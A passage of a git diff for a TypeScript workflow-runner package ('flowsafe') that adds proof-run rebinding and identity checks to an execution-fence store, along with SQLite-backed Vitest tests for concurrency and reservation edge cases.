) + .get() as { sql: string }; + const withoutIdCheck = schema.sql.replace("CHECK (id = 'deployment')", ''); + expect(withoutIdCheck).not.toBe(schema.sql); + h.sqlite.exec( + 'ALTER TABLE flowsafe_execution_fence RENAME TO previous_execution_fence', + ); + h.sqlite.exec(withoutIdCheck); + h.sqlite.exec( + 'INSERT INTO flowsafe_execution_fence SELECT * FROM previous_execution_fence', + ); + h.sqlite.exec('DROP TABLE previous_execution_fence'); + const foreignRow = () => + h.sqlite + .prepare("SELECT * FROM flowsafe_execution_fence WHERE id = 'foreign'") + .get(); + let before: unknown; + inject = () => { + h.sqlite.exec( + `INSERT INTO flowsafe_execution_fence + SELECT 'foreign', state, proof_key, proof_run_id, updated_at, + last_transition_request, transition_revision, mutation_epoch, + require_mutation_epoch, proof_table_prefix, proof_workflow_id, proof_start_token + FROM flowsafe_execution_fence WHERE id = 'deployment'`, + ); + before = foreignRow(); + }; + const outcome = await h.fence + .rebindProofRun(h.options) + .catch((error) => error); + expect(foreignRow()).toEqual(before); + expect(outcome).toBe(true); + expect( + h.sqlite + .prepare( + "SELECT proof_start_token FROM flowsafe_execution_fence WHERE id = 'deployment'", + ) + .get(), + ).toEqual({ proof_start_token: 'generation' }); + }); + + it('does not converge after malformed RETURNING or known zero', async () => { + for (const mode of ['malformed', 'zero']) { + let enabled = false; + let reads = 0; + const h = await fixture(async (sql, execute) => { + if (enabled && sql.startsWith('SELECT') && sql.includes('EXISTS')) + reads++; + if ( + enabled && + sql.startsWith('UPDATE flowsafe_execution_fence') && + sql.includes('EXISTS') + ) { + await execute(); + return mode === 'zero' + ? { results: [] } + : { results: [{ bad: true }] }; + } + return execute(); + }); + enabled = true; + const result = await h.fence + .rebindProofRun(h.options) + .catch((error) => error); + expect(h.row().proof_start_token).toBe('generation'); + expect(reads).toBe(0); + if (mode === 'zero') expect(result).toBe(false); + else expect(result).toBeInstanceOf(ExecutionFenceUnreadableError); + } + }); + + it('refuses mismatched database ports before I/O and never lets the legacy setter alter or acknowledge a modern tuple', async () => { + const h = await fixture(); + let prepares = 0; + const fence = new ExecutionFenceStore({ + prepare: (sql) => { + prepares++; + return h.db.prepare(sql); + }, + }); + const bad = await fence.rebindProofRun(h.options).catch((error) => error); + expect(prepares).toBe(0); + expect((bad as { reason?: { code?: string } }).reason?.code).toBe( + 'INVALID_EXECUTION_IDENTITY', + ); + expect(await h.fence.rebindProofRun(h.options)).toBe(true); + const before = h.row(); + const legacyOutcome = await h.fence + .recordProofRun('key', 'run', h.options.proof) + .catch((error) => error); + expect(h.row()).toEqual(before); + expect(legacyOutcome).toBe(false); + const lost = new ExecutionFenceStore( + interceptedDatabase(h.db, async (sql, execute) => { + if (sql.startsWith('UPDATE flowsafe_execution_fence')) + throw new Error('legacy response lost'); + return execute(); + }), + ); + const outcome = await lost + .recordProofRun('key', 'run', h.options.proof) + .catch((error) => error); + expect(h.row()).toEqual(before); + expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError); + }); + it.each([ + 'proof_run_id', + 'proof_table_prefix', + 'proof_workflow_id', + 'proof_start_token', + ] as const)('preserves a late partial nomination when empty proof tuple %s is nonnull', async (column) => { + let inject: (() => void) | undefined; + const h = await fixture(async (sql, execute) => { + if ( + sql.startsWith('UPDATE flowsafe_execution_fence') && + sql.includes('EXISTS') + ) + inject?.(); + return execute(); + }); + let before: Record | undefined; + inject = () => { + h.sqlite.exec(`UPDATE flowsafe_execution_fence SET ${column} = 'other'`); + before = h.row(); + }; + const outcome = await h.fence + .rebindProofRun(h.options) + .catch((error) => error); + expect(h.row()).toEqual(before); + expect(outcome).not.toBe(true); + }); + + it.each([ + 'proof_run_id', + 'proof_table_prefix', + 'proof_workflow_id', + 'proof_start_token', + ] as const)('preserves a competing nomination when final proof tuple %s differs', async (column) => { + let inject: (() => void) | undefined; + const h = await fixture(async (sql, execute) => { + if ( + sql.startsWith('UPDATE flowsafe_execution_fence') && + sql.includes('EXISTS') + ) + inject?.(); + return execute(); + }); + let before: Record | undefined; + inject = () => { + h.sqlite + .prepare( + 'UPDATE flowsafe_execution_fence SET proof_run_id = ?, proof_table_prefix = ?, proof_workflow_id = ?, proof_start_token = ?', + ) + .run( + column === 'proof_run_id' ? 'other' : 'run', + column === 'proof_table_prefix' ? 'other_' : 'proof_', + column === 'proof_workflow_id' ? 'other' : 'workflow', + column === 'proof_start_token' ? 'other' : 'generation', + ); + before = h.row(); + }; + const outcome = await h.fence + .rebindProofRun(h.options) + .catch((error) => error); + expect(h.row()).toEqual(before); + expect(outcome).not.toBe(true); + }); + + it('retains the original source owner when a later initiator differs', async () => { + const h = await fixture(); + h.snapshot.requestContext['flowsafe.runProvenance'].requestedBy = + 'later-initiator'; + h.writeSnapshot(); + expect(await h.fence.rebindProofRun(h.options)).toBe(true); + expect(h.row().proof_start_token).toBe('generation'); + expect((await h.store.read('key'))?.owner).toEqual(execution.owner); + }); +}); diff --git a/packages/flowsafe/src/do-runner/execution-fence.ts b/packages/flowsafe/src/do-runner/execution-fence.ts index 0671d2b6..63688c7f 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.ts @@ -55,10 +55,36 @@ import { missingTableReadsEmpty } from './cause-chain.js'; import { DoStatusError } from './do-status-error.js'; import { type D1RunExecutionIdentity, + type D1StartExecutionIdentity, ExecutionFenceUnreadableError, + InvalidExecutionIdentityError, normalizeD1RunExecutionIdentity, + normalizeMutationEpoch, + normalizeStartExecutionIdentity, + type ProofEntryExpectation, + type RunExecutionIdentity, } from './execution-admission.js'; +import { RUN_PROVENANCE_CONTEXT_KEY } from './execution-context.js'; import { isPathSafeId } from './path-safe-id.js'; +import { + decodeProgressRunProvenance, + decodeRunStartIdentity, +} from './run-provenance.js'; +import { isRunStatus } from './run-terminal-state.js'; +import { + captureBoundReservation, + decodeStartReservationAdmissionResult, + START_IDEMPOTENCY_TABLE, + type StartReservationReading, + sameReservationIdentity, + validateStartReservationAdmissionSchema, +} from './start-reservation-contract.js'; +import { + type D1RunAddress, + decodeRawWorkflowSnapshotResult, + prepareRawWorkflowSnapshotRead, + type RawWorkflowSnapshot, +} from './workflow-snapshot-row.js'; export { ExecutionFenceUnreadableError } from './execution-admission.js'; @@ -502,15 +528,30 @@ export function admitsRunStart( */ export function admitsExistingRun( reading: ExecutionFenceReading, - runId?: string, + candidate?: string | RunExecutionIdentity, ): boolean { if (reading.state === 'open' || reading.state === 'draining') return true; - if (reading.state !== 'proof-only') return false; - return ( - reading.proofRunId !== undefined && - runId !== undefined && - runId === reading.proofRunId - ); + if ( + reading.state !== 'proof-only' || + typeof candidate !== 'object' || + candidate === null || + candidate.tablePrefix === null + ) + return false; + try { + const execution = normalizeD1RunExecutionIdentity(candidate); + const proof = reading.proofExecution; + return ( + execution.tablePrefix === candidate.tablePrefix && + proof !== undefined && + proof.tablePrefix === execution.tablePrefix && + proof.workflowId === execution.workflowId && + proof.runId === execution.runId && + proof.startToken === execution.startToken + ); + } catch { + return false; + } } /** @@ -729,6 +770,73 @@ function isMissingFenceTable(error: unknown): boolean { return missingTableReadsEmpty(error, EXECUTION_FENCE_TABLE); } +async function selectedProofObservation( + db: ExecutionFenceDatabase, + address: D1RunAddress, +) { + try { + const prepared = prepareRawWorkflowSnapshotRead(db, address); + const raw = decodeRawWorkflowSnapshotResult( + await prepared.statement.all(), + prepared.address, + ); + if (raw === undefined) return undefined; + const snapshot: unknown = JSON.parse(raw.snapshot); + if ( + snapshot === null || + typeof snapshot !== 'object' || + Array.isArray(snapshot) + ) + throw new Error('proof snapshot is malformed'); + const state = snapshot as Record; + if (state.runId !== raw.runId || !isRunStatus(state.status)) + throw new Error('proof snapshot identity or status is malformed'); + for (const key of ['requestContext', 'context', 'steps']) { + const value = state[key]; + if ( + value !== undefined && + (value === null || typeof value !== 'object' || Array.isArray(value)) + ) + throw new Error('proof snapshot container is malformed'); + } + const source = ( + state.requestContext as Record | undefined + )?.[RUN_PROVENANCE_CONTEXT_KEY]; + const start = decodeRunStartIdentity(source); + if (start === undefined) return { raw, status: state.status }; + const provenance = decodeProgressRunProvenance(source); + const execution = normalizeD1RunExecutionIdentity({ + ...prepared.address, + startToken: provenance.startToken, + }); + return { raw, status: state.status, execution, provenance }; + } catch (cause) { + throw new ExecutionFenceUnreadableError('proof snapshot is not readable', { + cause, + }); + } +} + +function reservationValues(row: StartReservationReading): unknown[] { + if (row.binding.kind !== 'bound') + throw new InvalidExecutionIdentityError('admission'); + return [ + row.key, + row.owner.kind, + row.owner.id, + row.targetKind, + row.targetId, + row.runId, + row.threadId ?? null, + row.state, + row.createdAt, + row.updatedAt, + row.binding.execution.startToken, + row.binding.execution.tablePrefix, + row.binding.execution.workflowId, + ]; +} + export interface ExecutionFenceStoreOptions { /** Injectable clock for `updated_at` (tests, deterministic fixtures). */ now?: () => number; @@ -1015,6 +1123,7 @@ export class ExecutionFenceStore { proof_run_id = ? WHERE id = ? AND state = 'proof-only' AND proof_key = ? AND (proof_run_id IS NULL OR proof_run_id = ?) + AND proof_table_prefix IS NULL AND proof_workflow_id IS NULL AND proof_start_token IS NULL AND ${ admitted === undefined ? 'require_mutation_epoch = 0 AND mutation_epoch = 0' @@ -1038,8 +1147,12 @@ export class ExecutionFenceStore { reading?.state === 'proof-only' && reading.proofKey === proofKey && reading.proofRunId === runId && + reading.proofExecution === undefined && + stored?.raw.proof_table_prefix === null && + stored.raw.proof_workflow_id === null && + stored.raw.proof_start_token === null && (admitted === undefined - ? !reading.requireMutationEpoch + ? !reading.requireMutationEpoch && reading.mutationEpoch === 0 : reading.mutationEpoch === epoch && reading.transitionRevision === revision) ) { @@ -1050,11 +1163,241 @@ export class ExecutionFenceStore { { cause: error }, ); } - if (this.#decodeReturned(result) !== undefined) return true; + const returned = this.#decodeReturned(result); + if (returned !== undefined) { + if ( + returned.reading.proofExecution !== undefined || + returned.raw.proof_table_prefix !== null || + returned.raw.proof_workflow_id !== null || + returned.raw.proof_start_token !== null + ) + throw new ExecutionFenceUnreadableError( + 'legacy proof write returned a modern binding', + ); + return true; + } await this.#readStored(); return false; } + async readCurrentRunExecution( + address: D1RunAddress, + ): Promise { + return (await selectedProofObservation(this.#db, address))?.execution; + } + + async rebindProofRun(options: { + reservation: StartReservationReading; + execution: D1StartExecutionIdentity; + proof: ProofEntryExpectation; + mutationEpoch?: number; + reservationStore: { usesDatabase(binding: object): boolean }; + }): Promise { + const { + reservation: input, + execution: rawExecution, + proof: rawProof, + mutationEpoch, + reservationStore, + } = options; + const reservation = captureBoundReservation(input); + const { tablePrefix, workflowId, runId, startToken, owner, target } = + rawExecution; + const normalized = normalizeStartExecutionIdentity({ + tablePrefix, + workflowId, + runId, + startToken, + owner, + target, + }); + const execution = normalizeD1RunExecutionIdentity(normalized); + const { + key, + mutationEpoch: epoch, + transitionRevision: revision, + } = rawProof; + const callerEpoch = normalizeMutationEpoch(mutationEpoch); + const usesDatabase = reservationStore.usesDatabase; + const now = this.#now(); + if ( + tablePrefix !== execution.tablePrefix || + key !== reservation.key || + !isFenceCounter(epoch) || + !isFenceCounter(revision) || + typeof now !== 'number' || + !Number.isFinite(now) || + typeof usesDatabase !== 'function' || + !Reflect.apply(usesDatabase, reservationStore, [this.#db]) || + reservation.binding.kind !== 'bound' || + normalized.owner.kind !== reservation.owner.kind || + normalized.owner.id !== reservation.owner.id || + normalized.target.kind !== reservation.targetKind || + normalized.target.id !== reservation.targetId || + (normalized.target.kind === 'agent' + ? normalized.target.threadId + : undefined) !== reservation.threadId || + !admitsExistingRun( + { state: 'proof-only', proofExecution: execution }, + reservation.binding.execution, + ) + ) + throw new InvalidExecutionIdentityError('admission'); + try { + const observed = await this.readForAdmission(); + const requireSchemas = async () => { + await validateExecutionFenceAdmissionSchema( + await this.#db + .prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`) + .all(), + ); + validateStartReservationAdmissionSchema( + await this.#db + .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`) + .all(), + ); + }; + await requireSchemas(); + const current = decodeStartReservationAdmissionResult( + await this.#db + .prepare( + `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE key = ? LIMIT 2`, + ) + .bind(key) + .all(), + ); + const selected = await selectedProofObservation(this.#db, execution); + const reading = observed.reading; + if ( + current === undefined || + current.binding.kind !== 'bound' || + !sameReservationIdentity(current, reservation) || + JSON.stringify(reservationValues(current)) !== + JSON.stringify(reservationValues(reservation)) || + selected?.execution === undefined || + selected.status === 'pending' || + !admitsExistingRun( + { state: 'proof-only', proofExecution: execution }, + selected.execution, + ) || + selected.provenance?.startIdentity?.owner.kind !== + reservation.owner.kind || + selected.provenance.startIdentity.owner.id !== reservation.owner.id || + selected.provenance.startIdentity.target.kind !== + reservation.targetKind || + selected.provenance.startIdentity.target.id !== reservation.targetId || + (selected.provenance.startIdentity.target.kind === 'agent' + ? selected.provenance.startIdentity.target.threadId + : undefined) !== reservation.threadId || + reading.state !== 'proof-only' || + reading.proofKey !== key || + reading.mutationEpoch !== epoch || + reading.transitionRevision !== revision || + (reading.requireMutationEpoch && callerEpoch !== epoch) || + (reading.proofRunId !== undefined && + !admitsExistingRun(reading, execution)) + ) + return false; + const raw: RawWorkflowSnapshot = selected.raw; + const snapshotPredicate = `EXISTS (SELECT 1 FROM "${execution.tablePrefix}mastra_workflow_snapshot" + WHERE workflow_name = ? AND run_id = ? AND resourceId IS ? AND snapshot = ? AND createdAt = ? AND updatedAt = ?)`; + const reservationPredicate = `EXISTS (SELECT 1 FROM ${START_IDEMPOTENCY_TABLE} + WHERE key = ? AND owner_kind = ? AND owner_id = ? AND target_kind = ? AND target_id = ? AND run_id = ? + AND thread_id IS ? AND state = ? AND created_at = ? AND updated_at = ? + AND start_token = ? AND start_table_prefix IS ? AND start_workflow_id = ?)`; + const framePredicate = `id = 'deployment' AND state = 'proof-only' AND proof_key = ? + AND mutation_epoch = ? AND transition_revision = ? AND require_mutation_epoch = ? AND last_transition_request IS ? + AND (require_mutation_epoch = 0 OR mutation_epoch = ?)`; + const exactTuple = + 'proof_run_id = ? AND proof_table_prefix = ? AND proof_workflow_id = ? AND proof_start_token = ?'; + const emptyTuple = + 'proof_run_id IS NULL AND proof_table_prefix IS NULL AND proof_workflow_id IS NULL AND proof_start_token IS NULL'; + const tuple = [ + execution.runId, + execution.tablePrefix, + execution.workflowId, + execution.startToken, + ]; + const frame = [ + key, + epoch, + revision, + Number(reading.requireMutationEpoch), + observed.raw.last_transition_request, + callerEpoch ?? null, + ]; + const rowValues = [ + raw.workflowId, + raw.runId, + raw.resourceId, + raw.snapshot, + raw.createdAt, + raw.updatedAt, + ...reservationValues(reservation), + ]; + const expectedTime = + reading.proofRunId === undefined ? now : observed.raw.updated_at; + const validateReturned = (result: unknown): boolean => { + const returned = this.#decodeReturned(result); + if (returned === undefined) return false; + const next = returned.reading; + if ( + next.state !== 'proof-only' || + next.proofKey !== key || + next.mutationEpoch !== epoch || + next.transitionRevision !== revision || + next.requireMutationEpoch !== reading.requireMutationEpoch || + returned.receipt !== observed.raw.last_transition_request || + !admitsExistingRun(next, execution) || + returned.raw.updated_at !== expectedTime + ) + throw new ExecutionFenceUnreadableError( + 'proof nomination returned an unexpected fence', + ); + return true; + }; + let result: unknown; + try { + result = await this.#db + .prepare(`UPDATE ${EXECUTION_FENCE_TABLE} + SET updated_at = CASE WHEN proof_run_id IS NULL THEN ? ELSE updated_at END, + proof_run_id = ?, proof_table_prefix = ?, proof_workflow_id = ?, proof_start_token = ? + WHERE ${framePredicate} AND ((${emptyTuple}) OR (${exactTuple})) + AND ${snapshotPredicate} AND ${reservationPredicate} RETURNING *`) + .bind(now, ...tuple, ...frame, ...tuple, ...rowValues) + .all(); + } catch (cause) { + try { + const converged = await this.#db + .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE} + WHERE ${framePredicate} AND ${exactTuple} AND ${snapshotPredicate} AND ${reservationPredicate} LIMIT 2`) + .bind(...frame, ...tuple, ...rowValues) + .all(); + await requireSchemas(); + if (validateReturned(converged)) return true; + } catch { + /* Preserve the failed write's cause. */ + } + throw new ExecutionFenceUnreadableError( + 'proof nomination could not be recorded', + { cause }, + ); + } + const nominated = validateReturned(result); + if (!nominated) { + await requireSchemas(); + await this.readForAdmission(); + } + return nominated; + } catch (cause) { + if (cause instanceof ExecutionFenceUnreadableError) throw cause; + throw new ExecutionFenceUnreadableError( + 'proof nomination is not readable', + { cause }, + ); + } + } + #proofKeyFor( next: ExecutionFenceState, proofKey: unknown, diff --git a/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts b/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts index 0a074448..3e5435c0 100644 --- a/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts +++ b/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts @@ -65,7 +65,7 @@ export type InitialTerminalizationResult = } | { readonly kind: 'conflict'; readonly row?: RawWorkflowSnapshot }; -/** Explicit trusted primitive; built-in Runtime does not yet consume it. */ +/** Trusted storage primitives used by Runtime admission and owning recovery. */ export interface FencedWorkflowAdmissionCapability { readonly database: InitialAdmissionDatabase; readonly tablePrefix: string; diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts index 212b19dd..57efbc38 100644 --- a/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts +++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts @@ -37,7 +37,10 @@ import { RUN_LIFECYCLE_CONTEXT_KEY, RunLifecycleBlockedError, } from './run-lifecycle.js'; -import { StartIdempotencyStore } from './start-idempotency.js'; +import { + StartIdempotencyStore, + type StartReservationReading, +} from './start-idempotency.js'; import type { RawWorkflowSnapshot } from './workflow-snapshot-row.js'; const PROVENANCE = 'flowsafe.runProvenance'; @@ -111,18 +114,18 @@ async function fixture( const reservationStore = options.keyed ? new StartIdempotencyStore(db) : undefined; + let reservation: StartReservationReading | undefined; if (reservationStore) { - await reservationStore.reserve({ + const reserved = await reservationStore.reserve({ key: 'key', owner: OWNER, targetKind: 'workflow', targetId: 'workflow', mintRunId: () => execution.runId, }); - expect(await reservationStore.claim('key', execution.runId)).toBe(true); - sql.exec("UPDATE flowsafe_start_idempotency SET start_token = ''"); + reservation = await reservationStore.claimReservation(reserved.reservation); + if (!reservation) throw new Error('initial reservation claim was lost'); } - const reservation = await reservationStore?.readForAdmission('key'); const reading = await fence.read(); const onInitialWriteAttempt = vi.fn(); const input: InitialRunAdmission = { diff --git a/packages/flowsafe/src/do-runner/index.ts b/packages/flowsafe/src/do-runner/index.ts index 10eb64a6..6b72182f 100644 --- a/packages/flowsafe/src/do-runner/index.ts +++ b/packages/flowsafe/src/do-runner/index.ts @@ -85,6 +85,7 @@ export { type D1StartExecutionIdentity, InvalidExecutionIdentityError, InvalidMutationEpochError, + isRunStartPendingError, MUTATION_EPOCH_HEADER, type MutationEpochContext, MutationEpochMismatchError, @@ -98,6 +99,7 @@ export { type RunAdmissionConflictClassification, RunAdmissionConflictError, type RunExecutionIdentity, + RunStartPendingError, type StartExecutionIdentity, type StartIdentity, stampMutationEpoch, @@ -229,6 +231,8 @@ export type { RunTerminalStatus, } from './run-lifecycle.js'; export type { + AuthoritativeStartState, + RecoveredStart, RequestContextProvider, ResumeRunOptions, RunLeg, @@ -278,6 +282,7 @@ export { resolveScheduleStartOwner } from './schedule-source.js'; export type { IdempotentStartDecision, IdempotentStartSurface, + PersistedStartResult, StartIdempotencyDatabase, StartIdempotencyStatement, StartIdempotencyStoreOptions, @@ -300,7 +305,6 @@ export { InvalidStartIdempotencyRequestError, isStartReservationRefusal, requireStartIdempotency, - rollbackFencedStart, START_IDEMPOTENCY_DDL, START_IDEMPOTENCY_RUN_INDEX_DDL, START_IDEMPOTENCY_STATE_INDEX_DDL, diff --git a/packages/flowsafe/src/do-runner/inventory.test.ts b/packages/flowsafe/src/do-runner/inventory.test.ts index fef55342..13b716fd 100644 --- a/packages/flowsafe/src/do-runner/inventory.test.ts +++ b/packages/flowsafe/src/do-runner/inventory.test.ts @@ -9,6 +9,7 @@ // this surface must not have: an empty category is what an operator reads as // permission to migrate. +import type { DurableObjectState } from '@cloudflare/workers-types'; import { describe, expect, it } from 'vitest'; import { z } from 'zod'; @@ -234,14 +235,25 @@ async function seeded(): Promise { targetId: 'gated', mintRunId: () => 'abc_r2', }); - await reservations.reserve({ + const settled = await reservations.reserve({ key: 'key-settled', owner: { kind: 'human', id: 'ada' }, targetKind: 'workflow', targetId: 'gated', mintRunId: () => 'abc_r3', }); - await reservations.settleRun('abc_r3'); + const claimed = await reservations.claimReservation(settled.reservation); + if (!claimed) throw new Error('terminal inventory claim was lost'); + const execution = { + tablePrefix: '', + workflowId: 'gated', + runId: 'abc_r3', + startToken: 'inventory-terminal-generation', + owner: claimed.owner, + target: { kind: 'workflow' as const, id: 'gated' }, + }; + await reservations.bindPreparedStart(claimed, execution); + await reservations.settleExecution(execution); // --- signal-subscriptions ------------------------------------------------- await new D1SubscriptionStoreFactory(binding as never, { @@ -883,6 +895,7 @@ describe('deployment drain inventory', () => { const sqlite = openSqlite(); const binding = sqliteUnitDatabase(sqlite); const storage = createD1Storage({ binding: binding as never }); + await storage.init(); await createResourceOwnershipSchema(binding as never); sqlite.exec( `CREATE TABLE flowsafe_deployment ( @@ -908,6 +921,14 @@ describe('deployment drain inventory', () => { const held = new Promise((resolve) => { releaseStep = resolve; }); + let announcePreparing: () => void = () => undefined; + const preparing = new Promise((resolve) => { + announcePreparing = resolve; + }); + let releasePreparation: () => void = () => undefined; + const prepared = new Promise((resolve) => { + releasePreparation = resolve; + }); const fence = new ExecutionFenceStore(binding as never); await fence.seed('open'); @@ -915,7 +936,17 @@ describe('deployment drain inventory', () => { const buildRuntime = (): RunnerRuntime => { const { createWorkflow, createStep, runtime } = init( { storage }, - { executionFence: fence, startIdempotency: reservations }, + { + executionFence: fence, + startIdempotency: reservations, + requestContextForRun: async (_workflowId, _runId, leg) => { + if (leg.kind === 'start') { + announcePreparing(); + await prepared; + } + return {}; + }, + }, ); const gate = createStep({ id: 'gate', @@ -958,13 +989,38 @@ describe('deployment drain inventory', () => { } } const secret = 'inventory-ownership-pin-secret-00001'; - const runner = new OwnerRunner(undefined, { + const runId = 'abc_inflight'; + const values = new Map(); + let alarm: number | null = null; + const state = { + id: { name: `gated:${runId}` }, + storage: { + async get(key: string): Promise { + return values.get(key) as T | undefined; + }, + async put(key: string, value: unknown) { + values.set(key, structuredClone(value)); + }, + async delete(key: string) { + return values.delete(key); + }, + async getAlarm() { + return alarm; + }, + async setAlarm(at: number | Date) { + alarm = at instanceof Date ? at.getTime() : at; + }, + async deleteAlarm() { + alarm = null; + }, + }, + } as unknown as DurableObjectState; + const runner = new OwnerRunner(state, { owners: new D1ResourceOwnershipStore(binding as never), DEPLOYMENT_TENANT: 'acme', DEPLOYMENT_IDENTITY_SECRET: secret, DB: binding, }); - const runId = 'abc_inflight'; const post = (path: string, body: unknown): Request => new Request(`http://do${path}`, { method: 'POST', @@ -983,39 +1039,66 @@ describe('deployment drain inventory', () => { now: () => NOW, }); - // #when — the start is IN FLIGHT: ownership reserved, step executing, and - // nothing persisted yet. + // #when — ownership is reserved before any snapshot; the held step then + // exposes the overlap between the running row and that reservation. const start = runner.fetch( post('/runs', { workflowId: 'gated', runId, inputData: {} }), ); - await started; - - // #then — the reservation is UNSETTLED while the start is in flight. This - // is the assertion the invariant lives in: it fails if settlement moves - // ahead of the persisted summary. - const inFlight = await inventory.read('resource-owners'); - expect(inFlight.entries).toEqual([ - { - key: ['run', runId], - detail: { owner_kind: 'human', owner_id: 'ada' }, - }, - ]); - expect(inFlight.count).toBe(1); - - // #then — and the executing run is not hidden from `runs` either: the - // engine's own `running` snapshot is already there. Recorded because the - // two categories overlap DURING execution and diverge only at settlement, - // which is what the next step asserts. - expect( - (await inventory.read('runs')).entries.map((entry) => [ - entry.key[1], - entry.detail.status, - ]), - ).toEqual([[runId, 'running']]); - - // #when — the step reaches its first suspend, so a summary persists and the - // reservation settles. - releaseStep(); + try { + await Promise.race([ + preparing, + start.then(async (response) => { + throw new Error( + `start returned before preparation: ${JSON.stringify(await response.clone().json())}`, + ); + }), + ]); + expect((await inventory.read('runs')).entries).toEqual([]); + expect((await inventory.read('resource-owners')).entries).toEqual([ + { + key: ['run', runId], + detail: { owner_kind: 'human', owner_id: 'ada' }, + }, + ]); + releasePreparation(); + await Promise.race([ + started, + start.then(async (response) => { + throw new Error( + `start returned before its held step: ${JSON.stringify(await response.clone().json())}`, + ); + }), + ]); + + // #then — the reservation is UNSETTLED while the start is in flight. This + // is the assertion the invariant lives in: it fails if settlement moves + // ahead of the persisted summary. + const inFlight = await inventory.read('resource-owners'); + expect(inFlight.entries).toEqual([ + { + key: ['run', runId], + detail: { owner_kind: 'human', owner_id: 'ada' }, + }, + ]); + expect(inFlight.count).toBe(1); + + // #then — and the executing run is not hidden from `runs` either: the + // engine's own `running` snapshot is already there. Recorded because the + // two categories overlap DURING execution and diverge only at settlement, + // which is what the next step asserts. + expect( + (await inventory.read('runs')).entries.map((entry) => [ + entry.key[1], + entry.detail.status, + ]), + ).toEqual([[runId, 'running']]); + + // #when — the step reaches its first suspend, so a summary persists and the + // reservation settles. + } finally { + releasePreparation(); + releaseStep(); + } const summary = (await (await start).json()) as { status: string }; expect(summary.status).toBe('suspended'); diff --git a/packages/flowsafe/src/do-runner/run-terminal-state.test.ts b/packages/flowsafe/src/do-runner/run-terminal-state.test.ts index 25170b4b..2921ae78 100644 --- a/packages/flowsafe/src/do-runner/run-terminal-state.test.ts +++ b/packages/flowsafe/src/do-runner/run-terminal-state.test.ts @@ -272,3 +272,34 @@ describe('errorText', () => { ).toThrow(fault); }); }); + +describe('FS8 D3 Runtime activation', () => { + it('shares the eight terminal statuses while retaining extended waiting states', async () => { + const { isTerminalRunStatus } = await import('./run-terminal-state.js'); + for (const status of [ + 'success', + 'failed', + 'tripwire', + 'canceled', + 'bailed', + 'skipped', + 'cancelled', + 'timed_out', + ]) + expect(isTerminalRunStatus(status)).toBe(true); + for (const status of [ + 'running', + 'suspended', + 'waiting', + 'pending', + 'paused', + 'waiting_callback', + 'waiting_signal', + 'retry_wait', + undefined, + null, + 'unknown', + ]) + expect(isTerminalRunStatus(status)).toBe(false); + }); +}); diff --git a/packages/flowsafe/src/do-runner/run-terminal-state.ts b/packages/flowsafe/src/do-runner/run-terminal-state.ts index f740f5ab..411865fc 100644 --- a/packages/flowsafe/src/do-runner/run-terminal-state.ts +++ b/packages/flowsafe/src/do-runner/run-terminal-state.ts @@ -51,6 +51,19 @@ export function isRunStatus(value: unknown): value is RunStatus { return typeof value === 'string' && Object.hasOwn(RUN_STATUSES, value); } +export function isTerminalRunStatus(value: unknown): boolean { + return ( + value === 'success' || + value === 'failed' || + value === 'tripwire' || + value === 'canceled' || + value === 'bailed' || + value === 'skipped' || + value === 'cancelled' || + value === 'timed_out' + ); +} + const NONTERMINAL_RUN_STATUSES = new Set([ 'running', 'suspended', diff --git a/packages/flowsafe/src/do-runner/runtime.test.ts b/packages/flowsafe/src/do-runner/runtime.test.ts index 1dd94911..6254082b 100644 --- a/packages/flowsafe/src/do-runner/runtime.test.ts +++ b/packages/flowsafe/src/do-runner/runtime.test.ts @@ -4,15 +4,19 @@ import { Mastra } from '@mastra/core/mastra'; import type { RequestContext } from '@mastra/core/request-context'; import { InMemoryStore } from '@mastra/core/storage'; import type { WorkflowRunState } from '@mastra/core/workflows'; -import { assert, describe, expect, it, vi } from 'vitest'; +import { assert, describe, expect, expectTypeOf, it, vi } from 'vitest'; import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import { createBackgroundTaskD1Domains } from '../background-tasks/d1-storage.js'; import type { D1DatabaseBinding } from './cf-types.js'; import { createD1Storage } from './d1-storage.js'; import { + type D1RunExecutionIdentity, + ExecutionFenceUnreadableError, InvalidExecutionIdentityError, InvalidMutationEpochError, + normalizeD1RunExecutionIdentity, + RunStartPendingError, } from './execution-admission.js'; import { type ExecutionFenceDatabase, @@ -31,7 +35,9 @@ import { parseRunLifecycle, } from './run-lifecycle.js'; import { + type AuthoritativeStartState, InvalidRunRequestError, + type LegacyRunState, type RequestContextProvider, RunAlreadyExistsError, type RunLeg, @@ -990,7 +996,7 @@ describe('FS8 D1 authoritative start state', () => { } }); - it('leaves existing starts on v1 without invoking the dormant reader', async () => { + it('writes v2 starts through its captured private reader', async () => { const f = await d1Fixture(); try { const read = vi.spyOn(f.runtime, 'authoritativeStartState'); @@ -1007,7 +1013,11 @@ describe('FS8 D1 authoritative start state', () => { assert(row); expect( JSON.parse(row.snapshot).requestContext['flowsafe.runProvenance'], - ).toMatchObject({ version: 1, startToken: 'ordinary' }); + ).toMatchObject({ + version: 2, + startToken: expect.any(String), + attemptToken: 'ordinary', + }); } finally { f.close(); } @@ -1210,12 +1220,32 @@ describe('D0 root-local stored summaries', () => { const parent = f.row(); const read = () => method === 'recoverStartAttempt' - ? f.runtime.recoverStartAttempt('d0-root', 'd0-run', 'd0-attempt') + ? f.runtime + .recoverStartAttempt( + { + tablePrefix: '', + workflowId: 'd0-root', + runId: 'd0-run', + startToken: f.snapshot().requestContext?.[ + 'flowsafe.runProvenance' + ]?.startToken as string, + }, + { attemptToken: 'd0-attempt', isOwnerQuiescent: () => true }, + ) + .then((value) => + value?.kind === 'ordinary' + ? value.summary + : (value?.transition.summary ?? null), + ) : f.runtime[method]('d0-root', 'd0-run'); f.reads.length = 0; const first = await read(); d0AssertRootSummary(first, parent); - 